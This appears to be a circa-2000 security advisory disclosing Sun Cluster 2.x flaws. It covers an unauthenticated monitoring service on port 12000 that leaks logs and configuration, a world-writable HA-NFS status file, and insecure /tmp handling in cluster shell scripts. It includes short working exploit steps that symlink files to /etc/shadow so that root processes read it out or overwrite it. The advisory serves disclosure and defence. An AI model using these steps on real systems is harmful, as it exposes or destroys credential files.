sc.txt

` Two Security Holes in Sun Cluster 2.x  
echo8  
  
Hole #1  
-------  
  
Summary   
-------  
  
Sun Cluster 2.x (Sun Microsystems' commercial high-availability product  
for Solaris) leaks potentially sensitive information to local or remote  
users.  
  
Specifics  
---------  
  
In a standard Sun Cluster install, there is a service called clustmon that  
runs on port 12000. It is used by the cluster's administrative tool  
(hastat) for the exchange of information between cluster nodes. However,  
the service doesn't do any kind of authentication whatsoever, and can be  
used by any host which can connect to it to gain access to some fairly  
sensitive data. It also has some amusing undocumented features. The syntax  
used interactively is very similar to sendmail's help syntax, but if you   
can't figure it out, the service will happily hold your hand:  
  
echo8:{501} telnet foobar 12000  
Trying 192.168.0.1...  
Connected to foobar.  
Escape character is '^]'.  
220 foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready.  
help  
214- The following commands are recognized:  
214- NOOP - does nothing  
214- QUIT - closes this connection  
214- PORT inetaddr port - data addr/port as a sequence of 6 numbers  
214- DATE BEGINNING - start at beginning of time  
214- DATE NEW - start now  
214- DATE CURRENT - start with current logfile  
214- DATE AFTER <datespec> - specify a starting date  
214- DATE AFTER <datespec> LOOP - wait for new entries to be appended to  
logfile  
214- OPEN servicename - initiate a data stream  
214- CLOS servicename - shut down a data stream  
214- HELP - show this list  
214 Direct comments to [email protected].  
  
"open syslog" will echo out the entire contents of /var/adm/messages.  
  
"open haconfig" will provide a listing of all of the other cluster nodes,  
the names of each registered data service and logical host, full paths to  
your start and stop methods, and the current state of your data services  
and logical hosts.  
  
Because in.mond runs as root out of inet, both commands will succeed  
regardless of the local permissions on /var/adm/messages or the CCD  
database. Even if you choose NOT to make this information available to  
local users by putting restrictive permissions on the relevant files,  
remote users can still access it.  
  
"open hastat" will provide all of the information usually provided to  
local superusers via /opt/SUNWcluster/bin/hastat, including:  
  
* uptime of hosts  
* status of public and private networks  
* names and current locations of logical hosts  
* state of HA monitoring on each logical host  
* States of NAFO groups, including times of most recent failovers  
  
It's interesting to note that the (local) hastat command is restricted to  
the superuser. However, the network service is universally accessible.  
  
"open sesame" will tell you that the cave is still blocked (I'm serious,  
try it).   
  
All of this information is available to ANY host which can connect to the  
aforementioned port with a telnet client. While none of this really  
constitutes a compromise, it is the sort of information leakage which can  
be useful intelligence for a would-be attacker.  
  
Workaround  
----------  
  
One could trivially use tcp wrappers to keep unauthorized hosts away from  
the port in question.   
  
Vendor Response   
---------------  
  
The vendor was notified on October 31, 2000. When I contacted Sun and  
opened a case, the individual who responded to my case dismissed the  
problem by saying that "the product was not intended for use in hostile  
environments or on networks that have untrusted users." Sun also suggested  
that perhaps they will remove the help functions from upcoming versions.  
  
  
Hole #2  
-------  
  
Summary   
-------  
  
The HA-NFS data service (a component of Sun Cluster 2.x) has a security  
hole that can allow local users to read any file on the system, regardless  
of the permissions on that file. In order to exploit the hole, a clustered  
system must be using HA-NFS, and the attacker must have a local account.  
  
Specifics  
---------  
  
On a host running HA-NFS, the file called  
/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>/status is created  
by Sun Cluster with permissions set to 666.  
  
The directory above it  
(/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>) is created mode  
777.  
  
The status file is read by in.mond to display the status of the HA-NFS  
service. in.mond follows symbolic links. in.mond is most commonly executed  
when called by the hastat utility, which can only be run by the superuser.  
However, as described in hole #1, any remote user can connect directly to  
in.mond and make full use of it from a telnet client.  
  
To exploit this hole to view a file to which he does not have read access,  
a local (unprivileged) user can do the following:  
  
$ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>  
$ rm status  
$ ln -s /etc/shadow status  
$ telnet localhost 12000  
< once connected to the in.mond service>  
open hastat  
  
... and watch as the shadow file is read out to stdout ...  
  
Workaround  
----------  
  
Change the permissions on the files in question. Use tcp wrappers to keep  
unauthorized hosts away from in.mond.  
  
Vendor Response  
---------------  
  
Sun was notified on November 22, 2000. They did respond, stating that they  
are investigating. No patch is available as of yet.   
  
Comments  
--------  
  
High-availability products should not weaken the security of the systems  
on which they run. Despite what Sun may say, giving out your system logs  
and configuration specifics to unauthorized remote users weakens the  
security of a system. Removing the help features amounts to security  
through obscurity. I was able to very trivially discover at least one  
completely undocumented feature in in.mond ("open sesame"), so I have no  
reason to believe there are not others.  
  
The more recent discovery of the second hole only reaffirms the idea that  
there are no small vulnerabilities. Some minor holes can be leveraged to  
cause further harm or gain additional access. The two described above are  
a textbook illustration of this concept.  
  
Please address comments to [email protected].   
More Holes in Sun Cluster 2.x  
  
I never intended to write about Sun Cluster more than once, but as I   
continued messing with product, I continued to find more vulnerability.  
Readers should draw their own conclusions based upon the security   
requirements of their installations, but I'd personally think twice  
before paying a lot of money for this software...  
  
Summary  
-------  
  
Several Sun Cluster components create and manipulate temporary files in  
insecure ways. Some occurances of this problem can lead to a local denial  
of service, as they can allow local users to overwrite arbitrary files.   
  
Specifics  
---------  
  
Several Sun Cluster application programs create files in a world-writeable  
directory (/tmp) with predictable filenames without checking first for the  
existence of the target file, or whether or not the target is a symbolic  
link. This behavior can trivially be exploited by local users in order to  
deny service by overwriting arbitrary files (these utilities all run as   
root). Some examples:  
  
From nfs_fix_sharetab:   
  
awk '(NF < 4 )' $fname > /tmp/awk.output  
log_info "SUNWcluster.hanfs.3050" "File $fname contains some garbage  
lines, dele  
ting them."  
awk '(NF >= 4)' $fname > $newfname  
cp $newfname $fname  
rm -f /tmp/awk.output $newfname  
sync >/dev/null 2>&1 &  
exit 0  
  
As /tmp is world-writeable, any local user can symbolicly link  
/tmp/awk.output to any file they wish to overwrite. When nfs_fix_sharetab  
runs, the target file will be destroyed.   
  
lookuphost has the same problem:   
  
egrep '^[^#]*[ ]'${hostname}'[ ]|^[^#]*[ ]'${hostname}'$'  
\  
< /etc/hosts > ${tmpdir}/egrep.host 2> /dev/null  
if [[ $? -eq 0 && -s ${tmpdir}/egrep.host ]]; then  
let lines="`wc -l < ${tmpdir}/egrep.host`"  
if (( lines == 1 )); then  
awk '{print $1}' < ${tmpdir}/egrep.host  
elif (( lines > 1 )); then  
# More than one occurrence in /etc/hosts.   
# Use first entry, and warn the administrator  
answer=$(awk '{print $1; exit}' < ${tmpdir}/egrep.host)  
log_info "${pre}.3010" "/etc/hosts has multiple entries for  
${hostname}"  
print ${answer}  
/bin/rm -f ${tmpdir}/egrep.host  
exit 2  
fi  
  
This problem also occurs several times in scconf itself. One example:   
  
if [ $? -ne 0 ]; then  
LC_ALL=C /usr/sbin/vxassist -g ${dg} -U fsgen make ${dg}-stat 2m \  
> /dev/null 2> /tmp/vxassist.out  
if [ $? -ne 0 ]; then  
LC_ALL=C  
lmsg="`gettext \  
'vxassist failed to create %s-stat volume on %s diskgroup'`"  
printf "${lmsg}\n" "${dg}" "${dg}"  
if [ -f /tmp/vxassist.out ]; then  
/bin/grep "Cannot allocate space" /tmp/vxassist.out > /dev/null  
if [ $? -eq 0 ]; then  
lmsg="`gettext '\n\  
Unable to allocate space to create mirrored volume for  
administrative\n\  
file system in diskgroup %s. 4MB of free disk space needs to be\n\  
present in %s for this purpose to configure it for HA-NFS.'`"  
printf "${lmsg}\n" "${dg}" "${dg}"  
else  
/bin/cat /tmp/vxassist.out  
fi  
/bin/rm -f /tmp/vxassist.out  
fi  
return 1  
else  
...  
  
Finally, scinstall has similar issues. An example:  
  
if [ -z "${tokenCK}" ]; then  
if (( VERBOSE == 1 )); then  
print "Adding the DS_SUN format to the ccd  
..."  
fi  
# add the DS_SUN format to the ccd.database file  
CCDDSSUNFILE=/tmp/dssun.ccd  
/bin/cat >> ${CCDDSSUNFILE} << EOF  
  
...  
  
There are MANY such problems to be found in the various Sun Cluster shell  
scripts.  
  
It's also the case that there are MANY instances in which the temporary  
file is not specifically named, but has a name which will be easily  
predictable (in the format /tmp/filename.$$). Attacking these files would  
be more difficult as an attacker would have to successfully guess the PID  
that will be used by the offending code (several examples exist that prove  
that this can be done), and such an attacker would have to have some  
reasonable idea regarding when the superuser will invoke the utilities in  
question. Numerous Sun Cluster utilities have this problem; I have not  
listed them all here.  
  
I have NOT attempted any sort of comprehensive audit of Sun Cluster. In  
this case, a recent thread on Bugtraq highlighted the potential problems  
caused by poor handling of temporary files. I was really looking specifically  
for that class of problem. I also lack access to Sun Cluster source. All of  
these holes were found just by reading through the code for the components  
which are distributed as shell scripts.   
  
Proof of Concept  
----------------  
  
A sample exploit. To use lookuphost to severely damage a system, an  
unprivileged user could do the following:   
  
$ id  
uid=1997(foo) gid=25(programmers)  
$ ln -s /etc/shadow /usr/tmp/egrep.host  
$ ls -alt /usr/tmp/egrep.host  
lrwxrwxrwx 1 foo programmers 11 Dec 22 11:12 /usr/tmp/egrep.host -> /etc/shadow  
$   
  
... wait for lookuphost to run ...  
  
$ cmp /etc/shadow /etc/hosts  
$  
  
(lookuphost uses its temporary file to store a subset of /etc/hosts, which is  
why, in this example, that's what ends up in /etc/shadow)  
  
Workaround  
----------  
  
None suggested. No patches are currently available.   
  
Vulnerable Versions  
-------------------  
  
This has been confirmed on Solaris 2.6, running Sun Cluster 2.1 and 2.2.   
Any OS level running Sun Cluster 2.x is most likely vulnerable.   
  
Vendor Notification  
-------------------  
  
The vendor was notifed on 12/22/2000.   
  
Address comments to [email protected].   
`